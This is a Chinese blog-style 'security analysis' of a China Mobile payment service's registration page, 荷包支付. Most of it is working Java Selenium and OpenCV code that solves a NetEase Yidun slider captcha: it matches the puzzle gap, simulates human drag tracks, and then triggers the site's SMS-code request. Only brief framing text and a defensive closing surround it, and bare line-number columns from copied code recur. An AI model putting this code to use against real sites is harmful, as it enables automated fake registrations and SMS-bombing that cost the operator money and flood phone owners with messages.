【荷包支付-注册安全分析报告】

前言
由于网站注册入口容易被黑客攻击，存在如下安全问题：

1. 暴力破解密码，造成用户信息泄露
2. 短信盗刷的安全问题，影响业务及导致用户投诉
3. 带来经济损失，尤其是后付费客户，风险巨大，造成亏损无底洞
   

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案， 但在机器学习能力提高的当下，连百度这样的大厂都遭受攻击导致点名批评， 图形验证及交互验证方式的安全性到底如何？ 请看具体分析

一、 荷包支付PC 注册入口

简介： 荷包支付,是中国移动旗下的支付公司，中移电子商务有限公司（中移支付）是中国移动通信集团公司2011年应中国人民银行监管要求，委托湖南移动注册成立的全资子公司。公司于2011年12月获得第三方支付牌照，成为中国移动旗下唯一的支付公司，承担全国和包支付平台建设、产品研发及业务运营。

1. 注册引导页

2. 会员注页面

二、 安全性分析报告：

荷包支付采用的是网易易盾的滑动验证码，容易被模拟器绕过甚至逆向后暴力攻击，滑动拼图识别率在 95% 以上。

三、 测试方法：

前端界面分析，这网易易盾的滑动验证码，网上存在不少的破解文章，没什么难度 ， 这次还是采用模拟器的方式，关键点主要模拟器交互、距离识别和轨道算法3部分 。

1. 模拟器交互部分

public RetEntity send(WebDriver driver, String areaCode, String phone) {
		WebElement phoneElemet, moveElemet, nameElemet, bg;
		By moveBy, bgimg;
		String base64Str = null, moveStr = null;
		String name = "张三";
		Actions actions;
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1000);

			// 输入手机号
			phoneElemet = ChromeDriverManager.waitElement(driver, By.id("MBL_NO"), 500);
			phoneElemet.clear();
			for (int i = 0; i < phone.length(); i++) {
				char c = phone.charAt(i);
				phoneElemet.sendKeys(c + "");
				phoneElemet.click();
			}
			Thread.sleep(2000);

			nameElemet = ChromeDriverManager.waitElement(driver, By.id("USER_NM"), 500);
			nameElemet.clear();
			for (int i = 0; i < name.length(); i++) {
				char c = name.charAt(i);
				nameElemet.sendKeys(c + "");
				nameElemet.click();
			}
			Thread.sleep(2000);

			// 获取滑动按钮
			moveBy = By.className("verify-move-block");
			moveElemet = ChromeDriverManager.waitElement(driver, moveBy, 400);
			if (moveElemet == null) {
				return null;
			} else {
				actions = new Actions(driver);
				actions.clickAndHold(moveElemet).perform();
			}
			Thread.sleep(2000);

			// 获取带阴影的背景图
			bgimg = By.xpath("//img[@class='backImg']");
			bg = ChromeDriverManager.waitElement(driver, bgimg, 400);
			base64Str = bg.getAttribute("src");
			System.out.println("bUrl=" + base64Str);
			if (base64Str == null) {
				return null;
			}
			byte[] bigBytes = (base64Str != null) ? GetImage.imgStrToByte(base64Str.substring(base64Str.indexOf(",") + 1)) : null;
			int bigLen = (bigBytes != null) ? bigBytes.length : 0;
			System.out.println("1. getPic bigLen=" + bigLen);
			// 获取小图
			WebElement smallElement = ChromeDriverManager.waitElement(driver, By.xpath("//img[@class='bock-backImg']"), 1);
			String smallBase64 = smallElement.getAttribute("src");
			byte[] smallBytes = (smallBase64 != null) ? GetImage.imgStrToByte(smallBase64.substring(smallBase64.indexOf(",") + 1)) : null;
			// 计算匹配到的位置
			String ckSum = GenChecksumUtil.genChecksum(bigBytes);
			String[] openRet = cv2.getOpenCvDistance(ckSum, bigBytes, smallBytes, "cmpay.com", 0);
			String openWidth = openRet != null ? openRet[0] : null;
			String openDistance = openRet != null ? openRet[1] : null;
			Double openDistanceD = (openDistance != null && openWidth != null) ? (Double.parseDouble(openDistance) - Double.parseDouble(openWidth)) * 280 / 310 : null;
			int distance = openDistanceD.intValue();
			System.out.println("getMoveDistance() distance=" + distance);
			if (distance == 0) {
				System.out.println("err distance=" + distance);
				return null;
			}

			// 滑动
			ActionMove.move(driver, moveElemet, distance);

			for (int i = 0; i < 10; i++) {
				WebElement msgElement = ChromeDriverManager.waitElement(driver, By.xpath("//span[@class='verify-tips suc-bg']"), 1);
				moveStr = (msgElement != null) ? msgElement.getText() : null;
				if (moveStr != null) {
					break;
				} else {
					Thread.sleep(100);
				}
			}
			RetEntity retEntity = new RetEntity();
			// 滑动结果
			if (moveStr != null && moveStr.contains("验证成功")) {
				WebElement smsElement = driver.findElement(By.id("getSmsCode"));
				smsElement.click();
				Thread.sleep(1000);
				String sendBack = smsElement.getText();
				System.out.println("moveStr=" + moveStr + " -> sendBack=" + sendBack);
				retEntity.setRet(0);
				retEntity.setMsg("成功");
			} else {
				retEntity.setRet(-1);
				retEntity.setMsg("失败");
			}

			return retEntity;
		} catch (Exception e) {
			System.out.println("send() phone=" + phone + ",e=" + e.toString());
			StringBuffer er = new StringBuffer("send() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			System.out.println(er.toString());
			return null;
		}
	}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107

2. 距离识别

/**
	 * 
	 * @param ckSum
	 * @param bigBytes
	 * @param smallBytes
	 * @param factory
	 * @return { width, maxX }
	 */

	public String[] getOpenCvDistance(String ckSum, byte bigBytes[], byte smallBytes[], String factory, int border) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File baseFile = new File(basePath);
			if (!baseFile.isDirectory()) {
				baseFile.mkdirs();
			}
			// 小图文件
			File smallFile = new File(basePath + ckSum + "_s.png");
			FileUtils.writeByteArrayToFile(smallFile, smallBytes);
			// 大图文件
			File bigFile = new File(basePath + ckSum + "_b.png");
			FileUtils.writeByteArrayToFile(bigFile, bigBytes);
			// 边框清理(去干扰)
			byte[] clearBoder = (border > 0) ? ImageIOHelper.clearBoder(smallBytes, border) : smallBytes;
			File tpFile = new File(basePath + ckSum + "_t.png");
			FileUtils.writeByteArrayToFile(tpFile, clearBoder);

			String resultFile = basePath + ckSum + "_o.png";
			return getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
		} catch (Throwable e) {
			logger.error("getMoveDistance() ckSum=" + ckSum + " " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}

	/**
	 * Open Cv 图片模板匹配
	 * 
	 * @param tpPath
	 *            模板图片路径
	 * @param bgPath
	 *            目标图片路径
	 * @return { width, maxX }
	 */
	private String[] getWidth(String tpPath, String bgPath, String resultFile) {
		try {
			Rect rectCrop = clearWhite(tpPath);
			Mat g_tem = Imgcodecs.imread(tpPath);
			Mat clearMat = g_tem.submat(rectCrop);

			Mat cvt = new Mat();
			Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
			Mat edgesSlide = new Mat();
			Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
			Mat cvtSlide = new Mat();
			Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
			Imgcodecs.imwrite(tpPath, cvtSlide);

			Mat g_b = Imgcodecs.imread(bgPath);
			Mat edgesBg = new Mat();
			Imgproc.Canny(g_b, edgesBg, threshold1, threshold2);
			Mat cvtBg = new Mat();
			Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

			int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
			int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
			Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
			Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
			// 归一化相关匹配法
			MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
			Point maxLoc = minMaxLoc.maxLoc;
			Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
			Imgcodecs.imwrite(resultFile, cvtBg);
			String width = String.valueOf(cvtSlide.cols());
			String maxX = String.valueOf(maxLoc.x + cvtSlide.cols());
			System.out.println("OpenCv2.getWidth() width=" + width + ",maxX=" + maxX);
			return new String[] { width, maxX };
		} catch (Throwable e) {
			System.out.println("getWidth() " + e.toString());
			logger.error("getWidth() " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}

	public Rect clearWhite(String smallPath) {
		try {
			Mat matrix = Imgcodecs.imread(smallPath);
			int rows = matrix.rows();// height -> y
			int cols = matrix.cols();// width -> x
			System.out.println("OpenCv2.clearWhite()  rows=" + rows + ",cols=" + cols);
			Double rgb;
			double[] arr;
			int minX = 255;
			int minY = 255;
			int maxX = 0;
			int maxY = 0;
			Color c;
			for (int x = 0; x < cols; x++) {
				for (int y = 0; y < rows; y++) {
					arr = matrix.get(y, x);
					rgb = 0.00;
					for (int i = 0; i < 3; i++) {
						rgb += arr[i];
					}
					c = new Color(rgb.intValue());
					int b = c.getBlue();
					int r = c.getRed();
					int g = c.getGreen();
					int sum = r + g + b;
					if (sum >= 5) {
						if (x <= minX)
							minX = x;
						else if (x >= maxX)
							maxX = x;
						if (y <= minY)
							minY = y;
						else if (y >= maxY)
							maxY = y;
					}
				}
			}

			int boder = 1;
			if (boder > 0) {
				minX = (minX > boder) ? minX - boder : 0;
				maxX = (maxX + boder < cols) ? maxX + boder : cols;
				minY = (minY > boder) ? minY - boder : 0;
				maxY = (maxY + boder < rows) ? maxY + boder : rows;
			}

			int width = (maxX - minX);
			int height = (maxY - minY);
			System.out.println("openCv2 minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
			Rect rectCrop = new Rect(minX, minY, width, height);
			return rectCrop;
		} catch (Throwable e) {
			StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace()) {
				er.append(elment.toString() + "\n");
			}
			logger.error(er.toString());
			System.out.println(er.toString());
			return null;
		}
	}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153

3. 轨道生成及移动算法

	/**
	 * 双轴轨道生成算法，主要实现平滑加速和减速
	 * 
	 * @param distance
	 * @return
	 */
	public static List<Integer[]> getXyTrack(int distance) {
		List<Integer[]> track = new ArrayList<Integer[]>();// 移动轨迹
		try {
			int a = (int) (distance / 3.0) + random.nextInt(10);
			int h = 0, current = 0;// 已经移动的距离
			BigDecimal midRate = new BigDecimal(0.7 + (random.nextInt(10) / 100.00)).setScale(4, BigDecimal.ROUND_HALF_UP);
			BigDecimal mid = new BigDecimal(distance).multiply(midRate).setScale(0, BigDecimal.ROUND_HALF_UP);// 减速阈值
			BigDecimal move = null;// 每次循环移动的距离
			List<Integer[]> subList = new ArrayList<Integer[]>();// 移动轨迹
			boolean plus = true;
			Double t = 0.18, v = 0.00, v0;
			while (current <= distance) {
				h = random.nextInt(2);
				if (current > distance / 2) {
					h = h * -1;
				}
				v0 = v;
				v = v0 + a * t;
				move = new BigDecimal(v0 * t + 1 / 2 * a * t * t).setScale(4, BigDecimal.ROUND_HALF_UP);// 加速
				if (move.intValue() < 1)
					move = new BigDecimal(1L);
				if (plus) {
					track.add(new Integer[] { move.intValue(), h });
				} else {
					subList.add(0, new Integer[] { move.intValue(), h });
				}
				current += move.intValue();
				if (plus && current >= mid.intValue()) {
					plus = false;
					move = new BigDecimal(0L);
					v = 0.00;
				}
			}
			track.addAll(subList);
			int bk = current - distance;
			if (bk > 0) {
				for (int i = 0; i < bk; i++) {
					track.add(new Integer[] { -1, h });
				}
			}
			System.out.println("getMoveTrack(" + midRate + ") a=" + a + ",distance=" + distance + " -> mid=" + mid.intValue() + " size=" + track.size());
			return track;
		} catch (Exception e) {
			System.out.print(e.toString());
			return null;
		}
	}

	/**
	 * 模拟人工移动
	 * 
	 * @param driver
	 * @param element页面滑块
	 * @param distance需要移动距离
	 * @throws InterruptedException
	 */
	public static void move(WebDriver driver, WebElement element, int distance) throws InterruptedException {
		List<Integer[]> track = getXyTrack(distance);
		if (track == null || track.size() < 1) {
			System.out.println("move() track=" + track);
		}
		int moveY, moveX;
		StringBuffer sb = new StringBuffer();
		try {
			Actions actions = new Actions(driver);
			actions.clickAndHold(element).perform();
			Thread.sleep(50);
			long begin, cost;
			Integer[] move;
			int sum = 0;
			for (int i = 0; i < track.size(); i++) {
				begin = System.currentTimeMillis();
				move = track.get(i);
				moveX = move[0];
				sum += moveX;
				moveY = move[1];
				if (moveX < 0) {
					if (sb.length() > 0) {
						sb.append(",");
					}
					sb.append(moveX);
				}
				actions.moveByOffset(moveX, moveY).perform();
				cost = System.currentTimeMillis() - begin;
				if (cost < 5) {
					Thread.sleep(5 - cost);
				}
			}
			if (sb.length() > 0) {
				System.out.println("-----backspace[" + sb.toString() + "]sum=" + sum + ",distance=" + distance);
			}
			Thread.sleep(180);
			actions.release(element).perform();
			Thread.sleep(500);
		} catch (Exception e) {
			StringBuffer er = new StringBuffer("move() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace())
				er.append(elment.toString() + "\n");
			logger.error(er.toString());
			System.out.println(er.toString());
		}
	}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112

4. 图片比对结果测试样例：

四丶结语

荷包支付作为支付行业的翘楚，依托移动老大哥的资源，技术实力雄厚， 人才济济，采用的是通俗的滑动验证产品， 在一定程度上提高了用户体验， 不过随着图形识别技术及机器学习能力的提升，所以在网上破解的文章和教学视频也是大量存在，并且经过验证的确有效， 所以除了滑动验证方式， 花样百出的产品层出不穷，但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段，可能不会在安全方面考虑太多，理由有很多。
比如：“ 需求这么赶，当然是先实现功能啊 ”，“ 业务量很小啦，系统就这么点人用，不怕的 ” ， “ 我们怎么会被盯上呢，不可能的 ”等等。

有一些理由虽然有道理，但是该来的总是会来的。前期欠下来的债，总是要还的。越早还，问题就越小，损失就越低。

所以大家在安全方面还是要重视。（血淋淋的栗子！）#安全短信#

戳这里→康康你手机号在过多少网站注册过！！！

谷歌图形验证码在AI 面前已经形同虚设，所以谷歌宣布退出验证码服务， 那么当所有的图形验证码都被破解时，大家又该如何做好防御呢？

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》